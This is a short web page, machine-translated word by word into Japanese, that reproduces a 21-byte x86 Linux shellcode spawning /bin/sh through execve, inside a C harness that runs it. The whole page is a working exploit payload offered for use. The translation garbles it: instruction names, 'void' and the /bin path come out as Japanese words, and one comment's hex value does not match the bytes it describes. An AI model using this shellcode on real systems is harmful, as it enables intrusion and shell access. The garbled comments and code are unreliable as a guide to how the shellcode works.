このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* execve /貯蔵所/sh - x86/linux - 21 bytes . 無d argv[] / envp[] ipv#oldschool@irc.worldnet.逮捕する ipv#backtrack-fr@irc.freenode.org thanks : `ivan, milo, #oldschool 乗組員 */ int main(){ char sc[] = "\x6a\x0b" // 押し進める byte +0xb "\x58" // pop eax "\x99" // cdq "\x52" // 押し進める edx "\x68\x2f\x2f\x73\x68" // 押し進める dword 0x68732f2f "\x68\x2f\x62\x69\x6e" // 押し進める dword 0x6e69922f "\x89\xe3" // mov ebx, esp "\x31\xc9" // xor ecx, ecx "\xcd\x80"; // int 0x80 ((無効の (*)()) sc)(); } /* sc[] = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" */ -- ipv